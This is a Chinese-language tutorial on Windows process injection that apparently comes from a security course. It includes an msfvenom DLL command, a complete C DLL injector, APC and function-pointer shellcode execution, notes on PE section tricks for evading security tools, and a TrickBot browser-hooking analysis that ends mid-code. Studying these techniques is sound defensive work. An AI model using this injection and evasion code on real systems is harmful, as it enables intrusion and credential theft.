如果你想通过调试查看 DLL 是否加载进程序了，通过 VS Studio 这个 Debug 是不够的，因为我们是注入到目标程序里面了，所以那一块的内存区域要用其他方式去读取。

用到的 DLL 是 msfvenom 生成的，你可以用以下代码生成 DLL。

1

msfvenom -p windows/x64/exec cmd="calc" -b "\x00" -f dll -o calc.dll

以下是我修改好的 dll-injector：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <string.h>
#include <wchar.h>

// 将 ANSI 字符串转换为宽字符
// 这是一个简单的辅助函数
wchar_t* AnsiToWideChar(const char* ansiStr) {
    int len = MultiByteToWideChar(CP_ACP, 0, ansiStr, -1, NULL, 0);
    wchar_t* wideStr = (wchar_t*)malloc(len * sizeof(wchar_t));
    MultiByteToWideChar(CP_ACP, 0, ansiStr, -1, wideStr, len);
    return wideStr;
}

DWORD getProcessId(const char* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot) {
        PROCESSENTRY32 entry;
        entry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &entry)) {
            do {
                wchar_t* wideProcessName = AnsiToWideChar(processName);
                //printf("%s\n", processName);
                //wprintf(L"%s\n", entry.szExeFile);
                if (!strcmp(entry.szExeFile, wideProcessName)) {
                    printf("Found!\n");
                    return entry.th32ProcessID;
                }
            } while (Process32Next(hSnapshot, &entry));
        }
    }
    else {
        return 0;
    }
}

int main(int argc, char* argv[]) {

    if (argc != 3) {
        printf("Cannot find require parameters\n");
        printf("Usage: dll-injector.exe <process name> <path to DLL>\n");
        exit(0);
    }

    char dllLibFullPath[256];

    LPCSTR processName = argv[1];
    LPCSTR dllLibName = argv[2];

    DWORD processId = getProcessId(processName);
    printf("processId: %d\n", (int)processId);
    if (!processId) {
        printf("ProcessId Failed\n");
        exit(1);
    }

    if (!GetFullPathNameA(dllLibName, sizeof(dllLibFullPath), dllLibFullPath, NULL)) {
        printf("GetFullPathName Failed\n");
        exit(1);
    }

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    if (hProcess == NULL) {
        printf("hProcess Failed\n");
        exit(1);
    }

    LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllLibFullPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (dllAllocatedMemory == NULL) {
        printf("dllAllocatedMemory Failed\n");
        exit(1);
    }

    if (!WriteProcessMemory(hProcess, dllAllocatedMemory, dllLibFullPath, strlen(dllLibFullPath) + 1, NULL)) {
        printf("WriteProcessMemory Failed\n");
        exit(1);
    }

    LPVOID loadLibrary = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

    HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibrary, dllAllocatedMemory, 0, NULL);
    if (remoteThreadHandler == NULL) {
        printf("remoteThreadHandler Failed\n");
        DWORD error_code = GetLastError();
        printf("CreateRemoteThread failed. Error Code: %lu\n", error_code);
        exit(1);
    }

    CloseHandle(hProcess);

    return 0;
}

Memory Execution Alternatives 内存执行替代

根据处于环境的不同，可能需要更改执行 shellcode 的方式。这通常发生在有些 API 被 Hook 了，但是没法绕过他，或者 EDR 在监视线程。

目前为止，我们已经研究了在本地/远程进程之间分配和写入数据的方法，执行也是任何注入技术中的关键一步；尽管在尝试最小化内存痕迹和 IOC 时，它并不那么重要。与分配和写入数据不同，执行有许多选项可供选择。前面几个任务我们通过 CreateThread 和 CreateRemoteThread 方法执行 shellcode 过，这里介绍另外三种执行方法。

Invoking Function Pointers 调用函数指针

这种方法的核心在于利用 C 语言的特性，将一个内存地址强制转换为函数指针，并直接调用。它不依赖额外的 API 调用来执行，但代码所在的内存区域必须是可执行的。虽然最常用于本地分配的内存，但在远程进程中，如果能获取到正确的地址并修改该进程的寄存器，理论上也可以利用。

1

((void(*)())addressPointer)();

1. (void(*)())。这是一个类型转换。它将后面的 addressPointer 强制转换成一个函数指针类型。
   1. *: 表示这是一个指针。
   2. (): 括号中的内容描述了该指针指向的函数的类型。
   3. void: 括号前面的 void 表示该函数没有返回值。
   4. (): 括号里面的 () 表示该函数没有参数。
2. addressPointer 是一个变量，它包含了你想要执行的代码的内存地址。通常，这个地址是在内存中动态分配或加载的。
3. () 是函数调用操作符

整个过程就是将一个内存地址（addressPointer）强制视为一个没有参数和返回值的函数，然后立即调用它。

这种技术的使用场景非常特殊，但在需要时会非常隐蔽和有用。

Asynchronous Procedure Calls 异步过程调用

• Asynchronous Procedure Calls

Asyncrhonous Procedure Calls (APC) 是一种在指定线程中异步执行函数的机制。

简单来说，APC 就像是把你的恶意代码加入一个队列。当目标线程进入一个可警报状态（alertable state）时，它就会从队列中取出并执行你的代码，从而劫持线程的执行流。

APC 函数通过 QueueUserAPC 排队到线程。一旦排队成功，APC 函数就会导致一个软件中断，并在线程下一次被调度时执行该函数。为了让用户模式应用程序将 APC 函数排入队列，目标线程必须处于“可警报状态”。

可警报状态通常指的是线程正在执行一个等待函数，比如 WaitForSingleObject 或 Sleep。

这里我们假设已经把我们的 Shellcode 写入到内存了，addressPointer 是我们写入好的内存地址，pinfo 是获取到的 PROCESS_INFORMATION 结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

QueueUserAPC(
	(PAPCFUNC)addressPointer, // APC 函数指针，指向我们已注入的 Shellcode 地址
	pinfo.hThread,            // 目标线程的句柄，从 PROCESS_INFORMATION 结构体获取
	(ULONG_PTR)NULL           // 传递给 APC 函数的参数，这里为空
);

// 恢复线程执行
ResumeThread(
	pinfo.hThread // 目标线程的句柄
);

// 等待线程执行完毕
WaitForSingleObject(
	pinfo.hThread, // 目标线程的句柄
	INFINITE       // 无限等待，直到线程结束或被唤醒
);

Section Manipulation 节区操作

这个技术的核心是直接修改 PE (Portable Executable) 文件的内部结构，而不是简单地对代码进行加密或混淆。PE 文件是 Windows 可执行文件的基本格式，由不同的节区 (Sections) 组成，比如存放代码的 .text 节和存放数据的 .data 节。

1. **PE 文件转储 (PE Dump)**：首先，攻击者需要用工具（如 xxd）将恶意文件（如 DLL 或 Shellcode）的原始二进制数据提取出来。

2. 数学运算：然后，利用复杂的数学运算，计算出代码和数据在 PE 文件中的**相对虚拟地址 (RVA)**，这是 PE 文件中用来定位内容的相对偏移量。

3. 高级技术：利用这些 RVA，攻击者可以采用更精妙的手段来隐藏恶意代码：

   • RVA 入口点解析：修改 PE 文件头的入口点，将其指向恶意代码，从而让系统在加载文件时直接执行注入的代码。

   • 节区映射：在 PE 文件中创建新的节区，或修改现有节区的权限，以容纳恶意代码。

   • 重定位表解析：修改重定位表，确保注入的代码在程序加载到内存中的任意地址时都能正常运行。

与常见混淆技术的区别

与常见的 XOR 或 Base64 加密等混淆技术相比，节区操作是一种更底层、更高级的防御规避手段。

• 混淆/加密：改变的是代码的外观，以躲避杀毒软件的签名检测。
• 节区操作：改变的是文件的内部结构和物理布局，旨在欺骗静态和动态分析工具，让恶意代码看起来像是文件本身的一个合法部分。

案例分析

来自 SentinelLabs 的报告，这是一个 TrickBot 的 TTP 的分析报告。

TrickBot 是最近在金融犯罪软件领域重新流行起来的一种著名的银行恶意软件。

这里我们分析的是这个恶意软件的 Hook 浏览器的功能，他能 Hook 浏览器的 API 去拦截和窃取凭据。

我们先来看看它们是如何针对浏览器的。这段反汇编代码显示了 push offset 指令，这表明在调用 OpenProcess 之前，恶意软件正在将不同的浏览器可执行文件名（chrome.exe, iexplore.exe, firefox.exe 等）作为参数压入堆栈，以便逐一尝试打开它们。这表明了 TrickBot 在寻找一个可注入的目标。你的分析是正确的，它通过 OpenProcess 来获取浏览器进程的句柄。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

push   eax
push   0
push   438h
call   ds:OpenProcess
mov    edi, eax
mov    [edp,hProcess], edi
test   edi, edi
jz     loc_100045EE
--------------------------------
push   offset Srch            ; "chrome.exe"
lea    eax, [ebp+pe.szExeFile]
...
mov    eax, ecx
push   offset aIexplore_exe   ; "iexplore.exe"
push   eax                    ; lpFirst
...
mov    eax, ecx
push   offset aFirefox_exe   ; "firefox.exe"
push   eax                    ; lpFirst
...
mov    eax, ecx
push   offset aMicrosoftedgec   ; "microsoftedgecp.exe"
...

反射性注入的当前源代码尚不明确，但 SentinelLabs 已在下方概述了注入的基本程序流程。

1. 打开目标进程（OpenProcess）
2. 分配内存（VirtualAllocEx）
3. 复制钩子安装程序到分配的内存里（WriteProcessMemory）
4. 复制 Shellcode 到分配的内存里（WriteProcessMemory）
5. 刷新缓存（FlushInstructionCache）
6. 创建远程线程，让它去执行钩子安装程序（CreateRemoteThread）。
7. 该新线程在执行钩子安装程序后，可能会创建一个新线程（RtlCreateUserThread）或恢复被挂起的线程。

一旦注入，TrickBot 将调用其钩子安装程序函数，该函数已在第三步复制到内存中。SentinelLabs 在下方提供了安装程序函数的伪代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

// 计算我们恶意函数和原始函数中的偏移量
// + 1 是跳过 jmp 直接访问后面的 32 位偏移量
// 这里的 -5 是用来抵消跳转指令本身的长度
relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;

// 获取要被覆盖的原始指令的长度
v8 = (unsigned __int8)original_function[5];

// 记住原来函数所在的地址 + 1 是为了跳过 jmp 直接访问后面的 32 位偏移量
trampoline_lpvoid = *(void **)(original_function + 1);

// "0xE9" 是跳转指令的机器码，即 jmp
jmp_32_bit_relative_offset_opcode = 0xE9u;		

// 修改内存页的保护属性 让代码能写入这块内存
if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) )
{
    // 这一部分没看明白 original_function 我不知道是什么
    // 很可能是指浏览器中被钩子劫持的那个原始 API 函数
    // 写入内存只有下面那一个方法，而且写的是 opcode
	v10 = *(_DWORD *)(original_function + 1);
	v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
    
	original_function[66] = 0xE9u;
    // 这里相当于 original_function[67]
	*(_DWORD *)(original_function + 0x43) = v10 + v11;
    // 手动写入内存
	write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5);
    // 还原原始保护状态
	VirtualProtectEx(
		(HANDLE)0xFFFFFFFF,
		*(LPVOID *)(original_function + 1),
		(unsigned __int8)original_function[5],
		flOldProtect,
		&flOldProtect);
result = 1;